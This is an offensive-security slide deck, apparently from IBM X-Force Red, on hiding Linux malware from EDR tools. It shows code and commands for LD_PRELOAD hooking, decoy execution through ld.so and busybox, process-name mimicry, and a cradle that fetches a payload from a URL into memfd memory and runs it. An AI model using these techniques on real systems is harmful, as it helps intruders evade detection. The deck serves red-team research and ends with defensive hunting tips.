Zombie Ant Farm

Practical Tips for Playing Hide and Seek with Linux EDRs

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  - tools, research
  - all things offensive

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Linux Offense: The Context

Linux matters

• It runs 90% of cloud workloads.
• Attacks bypass office networks and land directly in the backend.
• Attacks follows maximum ROI (access to data or computing resources).
• Linux Adversarial efforts may be focused and targeted.
• Defense follows the attacker.

  **Endpoint Detection and Response (EDR)** solutions appear in Linux.

• Operators have to respond
Linux EDRs - A Case of a Mistaken Identity

“Who in the world am I? Ah, that's the great puzzle.”

• Pure play EDR products
• Heuristic engine in Antivirus
• Security Automation toolkits
• Deployment / Patch Management
• Side gig for app whitelisting solutions
• As features of DLP products
• Home grown monitoring frameworks
• Tool assisted Threat Hunting.
Linux Offense: Strategic Sketches

**Operator** has to address:

- Initial foothold mechanism viability. Immediate detection.
- Logging of activities, delayed interception and analysis.
- Behavioral runtime patterns that trigger heuristics.
- Persistent readiness for the long haul.
- Evade Automation
- Deflect tool assisted threat hunting

- **Proactive Supervision Context**
  - Quiet boxes. Reliance on behavioral anomaly.
  - Locked down boxes. Reliance on known policy enforcement.
  - Peripheral sensors, honeypots.
Operational evasion:
- Operationally shut down EDRs.
- Directly exploit EDRs.
- Blind EDR reporting and response.
- Operationally confuse EDRs.

Targeted behavior evasion:
- Target execution confusion.
- Bypass EDR detection with novel ways of target exploitation.
- Deflect artifact discovery by Manual or Tool Assisted Threat hunting.
Strategic Goals and Objectives, Distilled

- Need a viable path to building Linux malware in the face of EDRs:
  - Evade detection at target runtime.
  - Hide and serve payloads in an unpredictable ways to counter “the story”.

  - **Choice**: Drop ready offensive tools on the target
    - May be outright detected. The unknown unknown.

  - **Choice**: Develop offensive tools on the target.
    - May not have tooling, footprint of presence, noise increases.

  - **Choice**: Utilization principle, aka “Living off the land”
    - May not be possible in the proactive supervision context.
Strategic Goals and Objectives, Distilled

Assembled Attack: A blended approach to break the consistent story.

**Idea A:** Bring in clean instrumented malware cradles. Build iterative capabilities.

**Idea B:** Turn good binaries into instrumented malware cradles. Use them as decoys.
Tactical Goals and Objectives, Sketches

Stage I: Build out Offensive Primitives

- Indiscriminate “preload and release” of legitimate binaries at runtime.
- Preload library chaining, "split/scatter/assemble” of payload features.
- Delayed payload triggers and features at runtime.
- Rapid payload delivery mechanism prototypes with instrumented cradles.
Tactical Goals and Objectives, Sketches

Stage II: Weaponize and Operationalize Offensive Capabilities

- Payload brokers, “Preload-as-a-service”. Inter-process and remote payload loading and hosting
- Process mimicry and decoys
- Library preloading in novel ways over memory.
Stage I: Offensive Primitives

- Basics of Offensive Dynamic Linking and Loading
- Prototyping Offensive Mechanisms
- Discussing Offensive Tradeoffs
Dynamic Link Loading: The Basics

<table>
<thead>
<tr>
<th>No</th>
<th>Section</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>.text</td>
<td>Executable instructions</td>
</tr>
<tr>
<td>2</td>
<td>.bss</td>
<td>Uninitialized data in program image</td>
</tr>
<tr>
<td>3</td>
<td>.comment</td>
<td>Version control information</td>
</tr>
<tr>
<td>4</td>
<td>.data</td>
<td>Initialized data variables in image</td>
</tr>
<tr>
<td>5</td>
<td>.data1</td>
<td>Initialized data variables in image</td>
</tr>
<tr>
<td>6</td>
<td>.debug</td>
<td>Program debug symbolic information</td>
</tr>
<tr>
<td>7</td>
<td>.dynamic</td>
<td>Dynamic linking information</td>
</tr>
<tr>
<td>8</td>
<td>.dynstr</td>
<td>Dynamic string section</td>
</tr>
<tr>
<td>9</td>
<td>.dynsym</td>
<td>Dynamic symbol information</td>
</tr>
<tr>
<td>10</td>
<td>.fini</td>
<td>Process termination code</td>
</tr>
<tr>
<td>11</td>
<td>.hash</td>
<td>Hash table</td>
</tr>
<tr>
<td>12</td>
<td>.init</td>
<td>Process initialization code</td>
</tr>
<tr>
<td>13</td>
<td>.got</td>
<td>Global offset table</td>
</tr>
<tr>
<td>14</td>
<td>.interp</td>
<td>Path name for a program interpreter</td>
</tr>
<tr>
<td>15</td>
<td>.line</td>
<td>Line number information of symbolic debug</td>
</tr>
<tr>
<td>16</td>
<td>.note</td>
<td>File notes</td>
</tr>
<tr>
<td>17</td>
<td>.plt</td>
<td>Procedure link table</td>
</tr>
<tr>
<td>18</td>
<td>.rodata</td>
<td>Read only data</td>
</tr>
<tr>
<td>19</td>
<td>.rodata1</td>
<td>Read only data</td>
</tr>
<tr>
<td>20</td>
<td>.shstrtab</td>
<td>Section header string table</td>
</tr>
<tr>
<td>21</td>
<td>.strtab</td>
<td>String table</td>
</tr>
<tr>
<td>22</td>
<td>.symtab</td>
<td>Symbol table</td>
</tr>
<tr>
<td>23</td>
<td>.sdata</td>
<td>Initialized non-const global and static data</td>
</tr>
<tr>
<td>24</td>
<td>.sbss</td>
<td>Static better save space</td>
</tr>
<tr>
<td>25</td>
<td>.lit8</td>
<td>8-byte literal pool</td>
</tr>
<tr>
<td>26</td>
<td>.gptab</td>
<td>Size criteria info for placement of data items in the .sdata</td>
</tr>
<tr>
<td>27</td>
<td>.conflict</td>
<td>Additional dynamic linking information</td>
</tr>
<tr>
<td>28</td>
<td>.tdesc</td>
<td>Targets description</td>
</tr>
<tr>
<td>29</td>
<td>.lit4</td>
<td>4-byte literal pool</td>
</tr>
<tr>
<td>30</td>
<td>.reginfo</td>
<td>Information about general purpose registers for assembly file</td>
</tr>
<tr>
<td>31</td>
<td>.liblist</td>
<td>Shared library dependency list</td>
</tr>
<tr>
<td>32</td>
<td>.rel.dyn</td>
<td>Runtime relocation information</td>
</tr>
<tr>
<td>33</td>
<td>.rel.plt</td>
<td>Relocation information for PLT</td>
</tr>
<tr>
<td>34</td>
<td>.got.plt</td>
<td>Holds read-only portion of global Offset Table</td>
</tr>
</tbody>
</table>

Linker wires up dynamic locations of needed libraries specified in the image.

ELF

Linking view:
- ELF header
  - Program header table (optional)
  - Section 1
  - ...
  - Section n
  - ...

Execution view:
- ELF header
  - Program header table
  - Segment 1
  - Segment 2
  - ...
  - Section header table (optional)

The Basics of Dynamic Link Loading

Execution Error: Dynamic dependency not found...

```
$ ./executable
Error loading libctx.so
```

Where is the dependency?

```
$ ldd executable
libctx.so.1 => not found

$ readelf -d executable
0x0000000000000001 (NEEDED) Shared library: [libctx.so.1]
```

Dependency is resolved!

```
$ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable
  107824: find library=libctx.so.1 [0]; searching
  107824:   Found file=./lib/libctx.so.1
  "Hello World!"
```
Dynamic ELF Hooking: The Basics

Redefine and reroute **KNOWN** function entry points
Generic Dynamic API Hooking Tradeoffs

We are implementing an API detour to execute foreign logic.

Challenges:

• Need to know the details of target API

```c
FILE *fopen(const char *pathname, const char *mode);
```

• Invoke and avoid detection. Opsec. Known signatures for known exploits.

• Interoperate with the target binary in a clean fashion without crashing it.

• Assumption inspection tooling availability on target.
New ideas: Viability Check

Tip: Be more agnostic to the specifics of any single API in the binary.

Tip: Do not subvert the target. Instead:
• Compel it to execute malicious code
• Use it as a decoy.
• If you can start a process you likely own the entire bootstrap of this process

likely own the entire bootstrap of this process

• Preload the payload generically into a known target and release for execution?

• Expand malware features by bringing other modules out of band.
Offensive Strategy: Desired Outcomes

- EDR sees the initial clean cradle, **malware module loading is delayed**.
- EDR sees the code executing by **approved system binaries** in the process table, trusts the integrity of the known process.

- EDR may not fully trace inter-process data handoff
  - preloaded malware calls on external data interchange
  - memory resident executables and shared libraries

Parent / Child process relationships in Linux are transitive. We take advantage of this.
- If you can start the parent process, you fully own its execution resources, **and the resources of its progeny**
Primitives for Working with Offensive Preloading

What we Want
The system loads in all the shared object files **before** transferring control to the executable.
General idea is to hook the real `main()`, execute our payload logic and trampoline back to it.

```c
main_orig = main;
typeof(&__libc_start_main) orig =
    dlsym(RTLD_NEXT, "__libc_start_main");

return orig(main_hook, argc, argv, init, fini,
            rtld_fini, stack_end);
```
0x2 – Linker Level: Weakrefs

```c
void debug() __attribute__((weak));

void main(){
    if (debug)
        debug();
}

void mstat(){
    mstat();
}

ld_preload=chain1.so:chain2.so
```

- **Controlled Weak Refs**
- **Foreign Weak Refs**
- **Chained Weak Refs**
"preload and release" strategy, in a **target agnostic manner**.

- Generic constructors and destructors
- Chained and Prioritized constructors and destructors
- Hijacking preloaded program arguments in constructors.
- Overloaded main()’s
Let's keep breaking the EDR "story" of execution that leads to a confirmed IoC

- Out of Band signals.
- Fault Branching
- Self-triggered fault recovery
- Exception Handlers
- Timed execution

```c
void fpe_handler(int signal, siginfo_t *w, void *a) {
    printf("In SIGFPE handler\n");
    siglongjmp(fpe_env, w->si_code);
}
```

```
$LD_PRELOAD=lib/libinterrupt.so bin/ls
```

Trigger SIGFPE handler
In SIGFPE handler
1 / 0: caught division by zero!
Executing payloads here ...
Rootkit style LD_PRELOAD cleanup (proc)
Obfuscation (compile time)
Runtime Encryption (memory)
Runtime situational checks
Better context mimicry
Access to EDRs to prove the exact primitives
No “main” no pain?
Alternative loaders

```c
int _ (void);
void __data_frame_e ()
{
    int x = _ ();
    exit (x);
}
int _ () {}
```

```c
// Dynamic assignment to . interp section:
const char my_interp[] __attribute__((section(".interp"))) = "/usr/local/bin/gelfload-ld-x86_64";
```
Expanding and Scaling the Evasion Capabilities

We now have some evasion primitives to work with. Nice. Let’s expand the evasion.

**Highlights:**

- Target utilization.
- Hiding from EDRs via existing trusted binary decoys.
- Dynamic scripting capabilities in the field.
- Progressive LD_PRELOAD command line evasion.
- Malware preloaders with self-preservation instincts.
Utilization: Out of the Box Decoys

HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL

• System binaries that run other binaries.
• Great decoys already exist on many Linux systems.
  • ld.so is a loader that can run executables directly as parameters.
    ld.so is always approved *(known good)*
  • busybox meta binary is handy.

Combine the two to escape process pattern matching defensive engines?

**Bounce off something trusted and available to break the path of analysis**
1. Find action on executables to preload
$ LD_PRELOAD=payload.so
   /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^.main_.*$'. /bin/

2. Double link evasion
$ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls;
   LD_PRELOAD=payload.so
   /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/

3. Chaining evasion, timed triggers
   echo | LD_PRELOAD=payload.so
   /lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls

4. Evade via TTY switch You may evade EDRs when you switch TTYs
$ LD_PRELOAD=payload.so
   /lib64/ld-linux-x86-64.so.2
   vi -ensX $((/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq')
Second Order Evasion Capabilities

Interface with a higher level code for greater evasion.

Rapid prototyping and development of modular malware.
- speed of development
- better upgrades
- memory safety

✓ Offense to retool quickly on the target box.
✓ "evade into reflection".

Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC.
✓ Extend malware into preloading code from dynamic languages with decent FFI
package main
import "C"
import (    "fmt"
)
var count int

//export Entry
func Entry(msg string) int {    fmt.Println(msg)    return count
}

func main() { // don't care, or wild goose chase }
0x6B: Escape to Dynamic Code: Interpreters

```c
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>

int main(int argc, char** argv)
{
    lua_State *L;
    L = luaL_newstate();
    luaL_openlibs(L);

    /* Load the Lua script */
    if (luaL_loadfile(L, argv[1]))
        /* Run Lua script */
        lua_pcall(L, 0, 0, 0)
    lua_close(L);
}
```

$LD_LIBRARY_PATH=./
LD_PRELOAD=./liblua.so
./invoke_lua hello.lua

Main() is nothing more than a preloaded constructor at this point

- EDRs lose trail if you escape out to scripting
- start loading other libraries at runtime.

Pro-tip: Use it as another abstraction layer, e.g. socket out or pipe to another process hosting additional payloads
Summary: Ain’t No Primitive Primitives.
Stage II: Weaponizing and Operationalizing Payloads

- Uber preloaders
- Inline Parameterized Command Evasion.
- Memory-resident Malware Modules.
- Modular Malware Payload Warehouses
- Remote module loads
- Utilizable loaders
Uber preloaders

$LДPRELOAD$=./lib/libctx.so.1 /bin/ls $<$preloader_arguments$>

```c
__attribute__((constructor)) static void
_mctor(int argc, char **argv, char **envp)
{
    // Save pointers to argv/argc/envp
    largv=argv;
    largc=argc;
    lenvp=envp;
    lenvp_start=envp;  /* code here */
}
```

- The target consumes arguments
- Close coupled. No guarantees on all targets
Uber Preloaders

Make it flexible

LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so" LD_MODULE_ARGS="hello" \
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
Uber Preloaders

Chains may still

- dlopen() a module or use weak references
- Adhere to API contracts
- Implement Process mimicry and decoys
- Switch on IPC communication and data signaling
- Clean out artifacts (a la rootkit)

```c
// resolve Entry symbol
int (*entry)(char *) = dlsym(handle, "Entry");
```

```c
// pass arguments along if any
if ((modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){
    modload_args = strdup(modload_args_t);
    modload_args_len = strlen(modload_args);
}
```
Memory-resident malware modules

One *small* problem: those modules are *files*.

- On disk.
- Scannable and inspectable by EDRs.
- And admins.

Sometimes it’s OK (EDR identity crisis). We still want flexibility.

The way to fix that is to

- **load** modules in memory. OS is happy
- **execute** them from memory. OS is not happy. Let’s make it happy.
Memory-resident malware modules

Several ways to operate files in shared memory in Linux:
  • tmpfs filesystem (via `/dev/shm`), if mounted; have to be root to mount others.
  • POSIX shared memory, memory `mmap()`'d files.

  o Some, you cannot obtain execution of code from.
  o Others, do not provide you fully memory based abstraction, leaving a file path visible for inspection.

Kernel 3.17 Linux gained a system call `memfd_create(2)` (sys_356/319)
Memory-resident malware modules

```c
shm_fd = memfd_create(s, MFD_ALLOW_SEALING);
if (shm_fd < 0) {
    log_fatal("memfd_create() error");
}
```

- Invoke with `fexecve(3)` (or emulate it)
- Not exactly a true FS inode (no `readlink(3)` support)
- However, execution will work
Uber preloader PID 56417, Meet your Volatile Memory

What we have

LD_PCMD="r:smtp" LD_MODULE="/lib/shim.so" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls

What we want

LD_PCMD="r:smtp" LD_MODULE="/proc/56417/fd/3" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls

What is process id 56417 and how did the module get there?
Inspiration: A Natural phenomenon
Weapons of Mass Infection ++

ZAF - Zombie Ant Farm

- An **out of target** process store and broker of modules/payloads.
- The payloads are **somewhere** in the broker process memory.
- The broker accepts commands to serve local and the remote malware to targets.
- Targets reference **cross-process memory** via ephemeral, memory backed file descriptors.
ZAF Module Loader and Payload Driver

- Fetches remote payloads and stores them in memory.
- Runs an in-memory list of available modules, opens payloads to all local preloaders.
- Has OS evasion and self-preservation instincts.
- Can mimic a specified process name.
- At the request of an operator de-stages malware modules.
ZAF + Preloader Synergy

- Take payload from ZAF process memory space
- Reference payload via Uber-Preloader,
- Preload payload (or chain) into the target

LD_MODULE="/proc/56417/fd/3"
LD_PRELOAD=./libctx.so.1 /bin/ls

56417 – ZAF Memory space holding payloads
ZAF Broker Operational Summary

ZAF Payload Broker Service

Preloaded shims or subverted system exec

Uber Preloader pipeline

ZAF Payload Warehouse
PyPreload: Operationalizing Dynamic Preload Cradles

Clean cradle script starts the chain of malware loading.

Can fetch modules and binaries with interpreted code into memory

Living of the land: can do `memfd_create()`, over `ctypes` FFI interface.

```python
os.write(getMemFd, urllib2.urlopen(url))

def getMemFd(seed):
    if ctypes.sizeof(ctypes.c_voidp) == 4:
        NR_memfd_create = 356
    else:
        NR_memfd_create = 319

    modMemFd = ctypes.CDLL(None).syscall(NR_memfd_create, seed, 1)

    modMemPath = "'/proc/' + str(os.getpid()) + '/fd/' + str(modMemFd)"
PyPreload: Cradle + (Decoy / Mimicry) + Memory

Load it from URL right into memory of the preloaded target

```
$ pypreload.py -t so -l
http://127.0.0.1:8080/libpayload.so -d bash -c /bin/ls
```

Process tree mimicry: We only see .. bash invoking ls

```
56417 pts/6  S+  0:00 | | | \_ bash
56418 pts/6  S+  0:00 | | | \_ /bin/ls
```

**Note:** bash here is the **decoy** for the process name we use for the process table, we do not use any bash functionality. “Bash” just looks good for Threat hunters.
PyPreload: Cradle + (Decoy / Mimicry) + Memory + ZAF

Load ZAF from URL right into memory, execute, x2 re-fork(), lose EDR trail

$ pypreload.py -t bin -l http://127.0.0.1:8080/zaf -d bash

File Descriptors of the preload cradle

$ ls -l /proc/56509/fd/
lr-x------ 1 root root 64 Feb 17 18:08 0 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 1 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 2 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 3 -> '/memfd:fa37Jn (deleted)'
lrwx------ 1 root root 64 Feb 17 18:08 5 -> 'socket:[3479923]'
ZAF + Dynamic FileLess Loader Operational Summary

1. PyPreload Driver
2. OS Memory
3. Payload Chan
4. Memfd Rendezvous
5. Payload Store
6. Command Protocol
7. Payload Driver
8. Preload cradles and payload carriers
9. Target Process
10. Preload entry hooks
11. Payload triggers
12. 1st order evasion mechanisms
13. 2nd order evasion mechanisms
14. Reflection
15. Dynamic code
16. Interpreters
17. Self-Preloading
18. Defenses
19. Process Decays
20. INIT/FINI
21. _BLC_start
22. _ctor_dtor
23. _preinit
Additional Tips and Research Roadmap

1. ASLR at-start weakening
   • Weaken targets via predictable memory addresses
   • Load to static address or an artificial code cave.

   Linux execution domains <sys/personality.h>
   **ADDR_NO_RANDOMIZE** (since Linux 2.6.12)
   Parent -> set personality -> Fork() -> UNRANDOMIZED process

2. Cross Memory Attach
   • Artificial Code Caves
   • IPC evasion (User to User space vs. User to Kernel to User space)
     `process_vm_readv()`, `process_vm_writev()`
Additional Tips and Research Roadmap

Weakened Execution Domain

ASLR
- Randomized addresses
- Every run of executable loads code cave buffer in a different memory location

ASLR Disabled
- Un-randomized addresses
- Every run of executable loads code cave buffer in the SAME memory location

1. Parent: Fork()
2. Child: personality adjustment ADDR_NO_RANDOMIZE)
3. Child: Exec()
Additional Tips and Research Roadmap

Cross Memory Attach

Cradle Template Loader
- Shell Code
  - <400 bytes
  - transfer shell code between processes
  - no kernel buffer (user to user address space)
  - trigger buffer execution

Buffer Address
0x555555559260

Cradle Template
- Code cave
  - 400 bytes
  - signal
  - watchdog
  - others

Cradle needs:
- z-exec-stack
- small buffer to stuff shellcode in
Offensive Summary

✓ Preloading is a viable path to evasion via system executables.
✓ Bring clean cradles to build on, or use executables on the target as decoys.
✓ Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs.
✓ Out-of-process payload delivery is sometimes what you need.
   “Preloader-as-a-Service” over memory is possible.
✓ C FFI is the common denominator for interop on Linux, and can be used for evasion.
✓ Don’t kill a fly with a sword (even though you know you want to).
   But do turn chopsticks into swords when needed.
✓ Protect your payloads and payload delivery mechanisms.

Code: https://github.com/dsnezhkov/zombieant
What can the Defense do?

• Start implementing Linux capabilities.
• Define clearly what EDRs will and can do for you.
• Use provided ideas for manual threat hunting.
  • Optics into /proc.
  • Optics into dynamic loading, memfd().
  • Optics into IPC
  • Optics into process library load
• Start thinking more about proactive contextual supervision.
EOF

SYN & ACK?

Thank you!

X-Force Red
IBM
Useful Links (Thanks!)

https://x-c3ll.github.io/posts/fileless-memfd_create/

https://0x00sec.org/t/super-stealthy-droppers/3715

https://github.com/lattera/glibc/blob/master/csu/gmon-start.c

https://github.com/dvarrazzo/py-setproctitle/tree/master/src

https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/

https://gist.github.com/apsun/1e144bf7639b22ff0097171fa0f8c6b1